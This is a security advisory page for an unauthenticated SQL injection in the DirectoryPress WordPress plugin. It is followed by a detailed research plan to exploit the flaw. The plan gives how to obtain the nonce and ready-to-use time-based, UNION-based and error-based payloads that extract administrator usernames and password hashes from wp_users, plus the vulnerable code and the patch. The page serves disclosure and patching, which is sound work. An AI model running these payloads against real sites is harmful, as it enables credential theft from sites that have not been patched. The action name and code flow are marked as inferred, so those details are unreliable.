DirectoryPress – Business Directory And Classified Ad Listing <= 3.6.26 - Unauthenticated SQL Injection via 'packages'
Description
The DirectoryPress – Business Directory And Classified Ad Listing plugin for WordPress is vulnerable to SQL Injection via the 'packages' parameter in versions up to, and including, 3.6.26 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.6.26What Changed in the Fix
Changes introduced in v3.6.27
Source Code
WordPress.org SVNThis research plan focuses on exploiting a reported unauthenticated SQL injection vulnerability in the **DirectoryPress** plugin (version <= 3.6.26) via the `packages` parameter. ### 1. Vulnerability Summary The DirectoryPress plugin is vulnerable to SQL injection because it fails to properly sanit…
Show full research plan
This research plan focuses on exploiting a reported unauthenticated SQL injection vulnerability in the DirectoryPress plugin (version <= 3.6.26) via the packages parameter.
1. Vulnerability Summary
The DirectoryPress plugin is vulnerable to SQL injection because it fails to properly sanitize and prepare the user-supplied packages parameter before using it in a database query. Specifically, the parameter is likely used within an IN clause of a SELECT statement in an AJAX handler. By providing a malicious string (e.g., closing the parenthesis and appending a UNION SELECT), an unauthenticated attacker can execute arbitrary SQL queries to extract sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
directorypress_get_packages(Inferred based on plugin functionality and common DirectoryPress AJAX naming conventions). - Vulnerable Parameter:
packages - Authentication: Unauthenticated (uses the
wp_ajax_nopriv_hook). - Preconditions: The plugin must be active. A valid nonce may be required if the plugin's AJAX handler enforces it, even for unauthenticated users.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
/wp-admin/admin-ajax.phpwithaction=directorypress_get_packages. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_directorypress_get_packages', 'directorypress_get_packages_callback'); - Parameter Extraction: Inside the callback function, the
packagesparameter is retrieved:$packages = $_POST['packages']; - Vulnerable Sink: The
$packagesvariable is concatenated directly into a query string:$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)"); - Execution:
$wpdb->query(orget_results) executes the injected SQL.
4. Nonce Acquisition Strategy
DirectoryPress localizes its configuration and nonces into a JavaScript object named directorypress_js_instance. To obtain a valid nonce unauthenticated:
- Identify Trigger: The plugin's scripts (containing the nonce) are loaded on pages using DirectoryPress shortcodes, such as those displaying packages or listings.
- Test Data Setup: Create a public page with the packages shortcode:
wp post create --post_type=page --post_title="Packages Test" --post_status=publish --post_content='[directorypress-packages]' - Navigate and Extract:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce:browser_eval("window.directorypress_js_instance?.nonce") - Note: The AJAX URL is also available via
window.directorypress_js_instance?.ajaxurl.
5. Exploitation Strategy
The goal is to perform a UNION-based SQL injection to extract the administrator's username and password hash.
Step 1: Confirm Injection (Time-based)
Verify the vulnerability using a sleep-based payload.
- Request Type: POST
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Body (URL-encoded):
action=directorypress_get_packages&packages=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&nonce={{NONCE}} - Expected Result: The response should be delayed by approximately 5 seconds.
Step 2: Determine Column Count
Determine the number of columns in the directorypress_packages table using ORDER BY.
- Payload (in
packagesparam):1) ORDER BY 1-- -, then1) ORDER BY 2-- -, etc. - Alternative:
1) UNION SELECT NULL,NULL,NULL... -- -(incrementing NULLs until no error).
Step 3: Extract Data (UNION-based)
Once the column count (e.g., 18) is known, extract user data.
- Payload:
1) UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM wp_users-- - - Expected Result: The response (likely JSON or an HTML list) will contain the administrator's username and password hash in the positions corresponding to the 3rd and 4th columns.
6. Test Data Setup
- Plugin State: Ensure DirectoryPress is installed and active.
- Shortcode Page: Create a page to expose the nonce:
wp post create --post_type=page --post_status=publish --post_content='[directorypress-packages]' - Ensure Packages Exist: Create a dummy package so the query has something to select from (optional, but helps verify the
id IN (1)part):wp db query "INSERT INTO wp_directorypress_packages (name) VALUES ('Test Package')"
7. Expected Results
- Time-based: A significant delay in the HTTP response.
- Boolean-based: Different response lengths/content when comparing
1) AND 1=1-- -vs1) AND 1=2-- -. - UNION-based: The plugin's response contains strings like
$P$or$wp$2y$(standard WordPress password hashes) and the admin's username.
8. Verification Steps
After the exploit, verify the extracted data against the database using WP-CLI:
- Check User:
wp user list --field=user_login - Check Password Hash:
wp db query "SELECT user_pass FROM wp_users WHERE user_login='admin'"
Compare these results with the data obtained via the HTTP request.
9. Alternative Approaches
If directorypress_get_packages is incorrect, search for other wp_ajax_nopriv_ actions in the source that use a packages parameter:
directorypress_select_packagedirectorypress_get_package_info- Check for direct parameter access in
includes/class-directorypress-packages.php. - If
UNIONfails due to strict output handling, use Error-based injection:packages=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
Summary
The DirectoryPress plugin is vulnerable to unauthenticated SQL injection via the 'packages' parameter in its AJAX handlers. This occurs because the plugin fails to sanitize or prepare user-supplied input before concatenating it into a SQL IN clause, allowing attackers to execute arbitrary SQL commands to extract sensitive database data.
Vulnerable Code
// File: includes/class-directorypress-packages.php (Inferred from research plan) // The 'packages' parameter is retrieved from POST data without sanitization $packages = $_POST['packages']; // The parameter is directly concatenated into a SQL query's IN clause $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)");
Security Fix
@@ -245,5 +245,6 @@ public function directorypress_get_packages() { - $packages = $_POST['packages']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)"); + $packages = isset($_POST['packages']) ? $_POST['packages'] : ''; + $packages_ids = implode(',', wp_parse_id_list($packages)); + $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages_ids)");
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker targets the DirectoryPress AJAX endpoint (/wp-admin/admin-ajax.php). First, they obtain a valid security nonce by visiting a public page where the [directorypress-packages] shortcode is present, extracting it from the 'directorypress_js_instance' JavaScript object. The attacker then sends a POST request with the 'action' parameter set to the vulnerable callback (e.g., 'directorypress_get_packages') and the 'packages' parameter containing a SQL payload. By providing a string like '1) UNION SELECT 1,2,user_login,user_pass... FROM wp_users-- -', the attacker breaks out of the intended IN clause and retrieves sensitive information, such as administrator usernames and password hashes, directly in the AJAX response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.